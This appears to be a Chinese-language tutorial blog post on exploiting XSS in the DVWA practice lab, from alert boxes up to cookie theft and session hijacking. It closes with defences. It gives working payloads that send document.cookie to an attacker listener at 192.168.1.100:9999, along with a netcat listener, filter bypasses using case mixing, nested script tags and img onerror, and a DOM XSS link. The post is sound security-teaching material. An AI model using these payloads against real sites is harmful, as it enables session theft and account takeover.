DVWA靶场实战:从XSS漏洞到Cookie窃取与会话劫持的完整攻击链

📅 2026/7/7 20:23:14 👁️ 阅读次数 📝 编程学习
DVWA靶场实战:从XSS漏洞到Cookie窃取与会话劫持的完整攻击链

1. 项目概述:从“弹窗玩具”到实战武器

如果你在安全测试或者学习Web安全时,还停留在用<script>alert('XSS')</script>弹个窗就沾沾自喜的阶段,那真的有点“小儿科”了。弹窗只是证明漏洞存在的最初级信号,它就像汽车仪表盘上的故障灯,告诉你“这里有问题”,但远没有告诉你“这个问题能造成多严重的车祸”。真正的价值在于,如何将这个“故障灯”指示的隐患,转化为一次完整的、有实际影响的攻击链验证。这就是我们这次要深入探讨的核心:利用DVWA靶场,从Low级别一路通关到High级别,实战演练如何通过XSS漏洞盗取用户的身份凭证(Cookie),并最终实现冒名登录

这个过程的实战意义远超理论空谈。它模拟了一个攻击者从发现漏洞到利用漏洞达成目的的完整路径。DVWA(Damn Vulnerable Web Application)作为一个故意设计存在漏洞的Web应用,为我们提供了从易到难、层层设防的完美实验环境。通过它,我们不仅能理解XSS(跨站脚本攻击)的原理,更能亲手实践如何构造攻击载荷、如何绕过基础防护、如何建立攻击服务器来接收被盗数据,以及最终如何利用这些数据“化身”为另一个用户。这对于安全工程师、渗透测试人员乃至开发者理解漏洞危害、设计防御方案都至关重要。

2. 环境搭建与靶场初始化

2.1 DVWA靶场部署要点

DVWA的部署本身就是一个很好的学习起点。它通常以PHP应用的形式存在,需要搭配Apache/Nginx、MySQL和PHP环境(即LAMP/LEMP)。我推荐使用Docker进行一键化部署,这能避免复杂的环境配置冲突。一个简单的命令如docker run --rm -it -p 80:80 vulnerables/web-dvwa就能启动一个包含DVWA的容器。部署成功后,访问本地80端口,初始登录凭证通常是admin/password

注意:首次访问DVWA时,页面会提示你进行“Setup / Reset DB”操作。这一步至关重要,它会初始化数据库,创建必要的表结构并填充测试数据。务必点击该按钮完成初始化,否则很多漏洞模块将无法正常工作。

2.2 安全等级设置与理解

DVWA最精髓的设计之一就是其可调节的安全等级,位于页面左侧的“DVWA Security”选项卡中。它分为四个级别:

  • Low:毫无防护。应用程序对用户输入不做任何过滤或编码,直接输出。这是为了让我们最纯粹地理解漏洞原理。
  • Medium:尝试使用一些基础的防护手段,但往往存在缺陷或可以被绕过。例如,可能会使用str_replace()函数简单替换<script>标签。
  • High:采用了更强、更现代的防护措施,如更严格的输入过滤或输出编码。想要利用漏洞,需要更精巧的Payload构造技巧。
  • Impossible:理论上已修复漏洞的级别。它展示了当前公认的最佳安全实践,是我们防御的终极参考目标。

我们的实战将从Low开始,逐步提升难度,亲身体验防御措施的演进和攻击技术的对抗。

2.3 攻击者视角的基础准备

在开始攻击前,我们还需要准备两样“武器”:

  1. 攻击服务器(接收端):我们需要一个能接收被盗Cookie的远程服务器。在实验环境中,最简单的方法是在你的攻击机(比如Kali Linux或另一台虚拟机)上使用Netcat监听一个端口。命令如nc -lvnp 9999,表示监听本地的9999端口,等待连接和数据。
  2. Payload构造工具:一个文本编辑器足矣,但理解如何构造有效的JavaScript代码是关键。我们将手动编写用于窃取Cookie并发送到我们服务器的JS代码片段。

3. Low级别:原始漏洞的赤裸呈现

3.1 漏洞点分析与注入

进入DVWA的“XSS (Reflected)”模块,将安全等级调至Low。页面是一个简单的输入框,提示你输入一个名字。在Low级别下,我们输入的任何内容,都会未经处理地显示在返回页面上。我们输入经典的测试Payload:<script>alert(document.cookie)</script>

点击“Submit”后,一个弹窗如期出现,里面包含了当前页面的Cookie信息,例如PHPSESSID=abc123...; security=low。这一步验证了反射型XSS漏洞的存在:我们的恶意脚本被服务器接收后,立即在响应中返回并在受害者的浏览器中执行document.cookie是JavaScript中获取当前页面所有Cookie的DOM API。

3.2 构建窃取Cookie的完整攻击链

弹窗证明了漏洞,但攻击者不会满足于此。真实的攻击目标是悄无声息地盗取Cookie。我们需要构造一个能将Cookie发送到我们控制的服务器的Payload。

假设我们的攻击服务器IP是192.168.1.100,监听端口是9999。构造的Payload如下:

<script> var img = new Image(); img.src = 'http://192.168.1.100:9999/?stolen_cookie=' + encodeURIComponent(document.cookie); </script>

这段代码的原理是:创建一个隐藏的Image对象,将其src属性设置为我们的服务器地址,并将Cookie作为URL参数附加上去。当浏览器尝试加载这个“图片”时,就会向我们的服务器发起一个HTTP GET请求,从而将Cookie数据带出来。encodeURIComponent是为了确保Cookie中的特殊字符(如分号、等号)不会破坏URL结构。

在攻击机上启动Netcat监听 (nc -lvnp 9999),然后在DVWA的输入框中提交上述Payload。一旦提交,你将在Netcat终端看到类似以下的连接记录和被盗取的Cookie:

GET /?stolen_cookie=PHPSESSID%3Dabc123...%3B%20security%3Dlow HTTP/1.1 Host: 192.168.1.100:9999 ...

3.3 利用被盗Cookie实现会话劫持

拿到PHPSESSID这个会话Cookie后,攻击就进入了最后一步:会话劫持。由于HTTP协议本身是无状态的,会话管理严重依赖Cookie。服务器通过PHPSESSID来识别用户身份。

操作步骤如下:

  1. 在浏览器中打开一个新的隐私窗口(或另一台机器上的浏览器),访问DVWA的登录页面。
  2. 打开浏览器的开发者工具(F12),切换到“应用程序”(Application)或“存储”(Storage)标签页。
  3. 找到Cookies项,添加一个新的Cookie。名称填PHPSESSID,值填我们刚刚盗取到的那个值(如abc123...)。
  4. 刷新页面,或者直接访问DVWA的主页。你会发现,你无需输入用户名密码,就已经以受害者的身份(通常是admin)登录了系统。

这个过程清晰地展示了XSS盗取Cookie的危害性:它直接导致了身份伪造和权限提升。受害者可能在完全不知情的情况下,其账户就被攻击者完全控制。

4. Medium级别:与基础防护的首次交锋

4.1 防护机制初探与绕过

将DVWA安全等级调至Medium,再次尝试Low级别的Payload<script>alert(document.cookie)</script>。你会发现,弹窗没有出现,页面似乎过滤了我们的输入。查看页面源代码,可能会发现<script>标签被移除了。这是典型的黑名单过滤,DVWA可能使用了类似str_replace(‘<script>’, ‘’, $input)的代码。

这种过滤非常初级,有无数种绕过方法:

  1. 大小写混淆<ScRiPt>alert(1)</ScRiPt>。很多简单的字符串匹配是大小写敏感的。
  2. 嵌套标签<scr<script>ipt>alert(1)</scr<script>ipt>。如果过滤函数只执行一次,它可能会移除中间的<script>,剩下的字符正好组合成新的<script>
  3. 使用其他HTML事件处理器:既然<script>标签被盯上了,我们可以利用其他支持JavaScript执行的HTML属性。最经典的就是利用图片的onerror事件。构造Payload:<img src=x onerror=alert(document.cookie)>。当图片加载失败(src=”x”不存在)时,onerror事件中的JavaScript代码就会被执行。

在Medium级别的反射型XSS模块中,使用<img src=x onerror=alert(1)>通常可以成功触发弹窗,证明我们绕过了对<script>标签的过滤。

4.2 构造适应过滤的窃取Payload

既然<img>标签的onerror事件可用,我们就可以改造我们的窃取Payload。为了更隐蔽,我们可以不使用弹窗,直接发起请求:

<img src=x onerror="var i=new Image();i.src='http://192.168.1.100:9999/?c='+encodeURIComponent(document.cookie)">

提交这个Payload,同样可以在Netcat监听端收到被盗的Cookie。这说明,防御方如果只采用单一、简单的过滤规则,攻击者只需稍作变形就能轻松绕过。

4.3 深入理解输入与输出上下文

Medium级别给我们上了重要一课:安全防护必须考虑上下文。开发者可能只想到了在文本节点中插入<script>的危险,却忽略了在HTML标签的属性值中同样可以执行JavaScript。onerroronloadonmouseover等事件属性,以及href="javascript:..."这样的伪协议,都是XSS的常见入口。

因此,一个健壮的防护方案,不能只依赖于黑名单或简单的字符串替换。它需要根据数据最终被放置的“上下文”(是HTML标签内、属性值里、还是JavaScript代码块中)来采取不同的编码或过滤策略。例如,放入HTML正文的数据,需要对<>&等字符进行HTML实体编码(如<转成&lt;);放入HTML属性值的数据,还需要对引号进行编码。

5. High级别:挑战进阶防御策略

5.1 分析高强度过滤与编码

将安全等级调至High。此时再尝试之前的Payload,无论是<script>还是<img onerror>,很可能都会失效。High级别通常采用了更全面的防护,例如:

  • 严格的输入验证:只允许特定字符集(如字母、数字、空格)。
  • 白名单过滤:使用如HTMLPurifier这样的库,只允许安全的HTML标签和属性通过。
  • 输出编码:在将用户数据渲染到页面之前,根据上下文进行强制编码。这是目前最推荐的做法。

在DVWA的High级别反射型XSS中,查看后端源码(如果提供)会发现,它可能使用了htmlspecialchars()函数,并将ENT_QUOTES标志位设置为true。这意味着单引号、双引号、大于号、小于号、&符号都会被转换成HTML实体。这样一来,任何试图闭合现有HTML标签或插入新标签的尝试都会失效,因为<会被显示为文本&lt;

5.2 寻找非常规利用路径

当直接的HTML注入被阻断时,我们需要拓宽思路。XSS不止有反射型和存储型,还有DOM型XSS。DOM型XSS的漏洞根源在于前端JavaScript不安全的处理了用户可控的数据(如URL片段#后面的部分),并将其写入了DOM。

切换到DVWA的“XSS (DOM)”模块,即使是在High级别,也可能存在利用点。例如,页面中的一段JS代码从document.location.hash(即URL中#后面的部分)获取数据,并直接用innerHTML或类似方法写入页面。High级别的防护可能只针对了服务器端反射的数据,而忽略了客户端DOM操作的风险。

假设DOM型XSS的漏洞代码类似:

var input = document.location.hash.substring(1); document.getElementById('output').innerHTML = 'You entered: ' + input;

那么,我们可以构造这样的恶意URL让受害者访问:http://靶场地址/vulnerabilities/xss_d/#<img src=x onerror=stealCookie()>当受害者访问这个URL时,#后面的Payload会被JS取出并直接插入到页面HTML中,从而触发XSS。这里的防御重点转移到了前端,需要对innerHTML赋值的内容进行清洗,或者使用更安全的textContent属性。

5.3 利用DOM型XSS完成攻击

对于DOM型XSS,窃取Cookie的Payload构造原理相同,只是注入点不同。我们需要诱骗受害者点击一个精心构造的链接。最终的攻击URL可能长这样:http://靶场地址/vulnerabilities/xss_d/#<script>var i=new Image();i.src='http://攻击机IP:端口/?c='+encodeURIComponent(document.cookie);</script>

实操心得:在测试High级别时,养成查看网页源代码和监控网络请求的习惯至关重要。通过开发者工具的“元素”(Elements)和“网络”(Network)面板,你可以清晰地看到数据是如何被服务器返回的,又是如何被前端JS处理的,从而精准定位未被充分防护的数据流。

6. 从利用到防御:构建安全思维

6.1 攻击手法总结与演变

通过Low到High的实战,我们清晰地看到了一条攻击链的演变:

  1. 发现:寻找用户输入被直接输出的点(反射型、存储型、DOM型)。
  2. 验证:使用简单Payload(如alert(1))确认漏洞存在及执行上下文。
  3. 利用:构造能够窃取敏感信息(Cookie、Token、页面内容)或执行恶意操作(发起请求、键盘记录)的完整Payload。
  4. 交付:对于反射型和DOM型,需要诱骗用户点击链接;对于存储型,则只需将恶意代码存入数据库,等待其他用户访问。
  5. 变现:利用窃取到的凭证进行会话劫持、身份伪造、信息窃取或进一步横向移动。

6.2 开发者角度的根本性防御方案

站在防御者角度,Impossible级别展示了最佳实践:

  1. 输入验证:在数据进入系统时,根据业务逻辑进行严格的白名单验证(例如,名字字段只允许字母和空格)。这是第一道防线。
  2. 输出编码这是防御XSS最有效、最根本的手段。在将数据输出到不同上下文时,必须进行相应的编码。
    • HTML正文:使用HTML实体编码(如PHP的htmlspecialchars($string, ENT_QUOTES, ‘UTF-8’))。
    • HTML属性值:同上,必须编码引号。
    • JavaScript代码:将数据放入JS变量时,需进行Unicode转义或使用JSON编码。
    • URL参数:进行URL编码(encodeURIComponent)。
  3. 使用安全函数/库:避免使用innerHTMLdocument.write()等危险函数,改用textContentsetAttribute。对于富文本,使用严格的HTML净化库(如DOMPurify)。
  4. 设置HttpOnly Cookie:为会话Cookie等重要凭证添加HttpOnly属性。这样,JavaScript(通过document.cookie)就无法读取该Cookie,即使发生XSS,攻击者也无法直接盗取会话。这是我们演示中能成功盗取Cookie的前提,正是因为DVWA默认的PHPSESSID没有设置HttpOnly标志。
  5. 实施内容安全策略:CSP是一个重要的纵深防御措施。通过HTTP头告诉浏览器只允许加载指定来源的脚本、样式等资源,可以极大程度上遏制XSS攻击的效果,即使恶意脚本被注入,也无法被执行或向外发送数据。

6.3 渗透测试中的漏洞挖掘技巧

对于安全测试人员,DVWA的练习可以转化为实战经验:

  • 参数枚举:不要只测试明显的输入框。URL参数、HTTP头(如User-Agent、Referer)、POST数据的所有字段都可能成为注入点。
  • 上下文判断:提交测试Payload后,仔细观察它被放置在页面的哪个位置(是HTML标签之间、属性值里、还是JavaScript字符串中),这决定了下一步的利用方式。
  • 绕过思维:遇到过滤时,思考过滤的逻辑(是黑名单?是否递归?是否大小写敏感?),尝试使用编码(HTML实体、URL、Unicode)、等价语法、拆分拼接等技术进行绕过。
  • 工具辅助:结合使用Burp Suite、ZAP等工具进行自动化扫描和手动测试,利用其Repeater和Decoder模块方便地修改和编码Payload。

从弹窗验证到完整的Cookie窃取与会话劫持,这个实战过程将一个抽象的漏洞概念,变成了一条清晰可见的攻击杀伤链。它迫使你不仅关注“漏洞是否存在”,更去思考“漏洞能做什么”以及“如何阻止它”。无论是为了加固自己的应用,还是为了更有效地进行安全评估,这种从攻击者视角出发的深度理解,都是不可或缺的核心能力。在后续的实践中,你可以将这套方法论应用到更复杂的场景和真实的漏洞赏金项目中,那时你会发现,DVWA这个看似简单的靶场,为你打下了无比坚实的地基。